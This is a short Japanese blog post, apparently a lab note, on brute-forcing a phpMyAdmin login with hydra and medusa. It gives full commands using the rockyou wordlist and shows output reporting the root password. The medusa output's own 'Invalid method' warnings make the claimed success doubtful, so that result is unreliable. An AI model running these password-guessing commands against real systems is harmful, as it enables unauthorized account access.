ゆっくりhydra & Medusa

フォームへのブルートフォース

phpMyAdminに対して、ブルートフォースをやってみる。ログインフォームに対してのブルートフォースは全部一緒。

hydra -V -f -l root -P /usr/share/wordlists/rockyou.txt xx.xx.xx.xx http-post-form '/phpmyadmin/index.php:pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207:Access denied'
-V進捗の冗長表示
-f成功した時点で止める
-lユーザー名
-P辞書ファイル
http-post-formフォームに対して指定する文字列。以下を参照。

http-post-form

‘/phpmyadmin/index.php:pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207:Access denied’

http-post-formの引数は、以下のフォーマットで指定する。

‘<ログインフォームのパス>:<ポストで送られる文字列>:<エラー時に表示されるメッセージ>’

また、<ポストで送られる文字列>は、Burpなどのプロキシをかませて、実際にフォームを送信した内容をコピペする。例えば以下のような感じ。

^PASS^

辞書ファイルを使ってブルート・フォースしたい箇所を、^PASS^に書き換える。今回の場合は上記のポスト時に送る文字列の、pma_password=adminの部分を、pma_password=^PASS^にする。

問題発生

なぜか、成功と出るのに肝心のパスワードが表示されない。バージョンは最新版。こんなことってあるんだろうか?「-o」オプションを付けてファイルに保存しても同じ。意味がわからん、、、

Medusa

medusaで同じことをやってみる。

$ medusa -h xx.xx.xx.xx -u root -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/phpmyadmin -m FORM:POST -m DENY-SIGN:'Access denied' -m FORM-DATA:'post? pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207'

いけた。「123456」。

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

WARNING: Invalid method: FORM.
WARNING: Invalid method: DENY-SIGN.
WARNING: Invalid method: FORM-DATA.
ACCOUNT CHECK: [http] Host: xx.xx.xx.xx (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 14344391 complete)
ACCOUNT FOUND: [http] Host: xx.xx.xx.xx User: root Password: 123456 [SUCCESS]

個人的には、hydraを使っていきたいが、本日はモヤモヤしたまま終わる。。。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です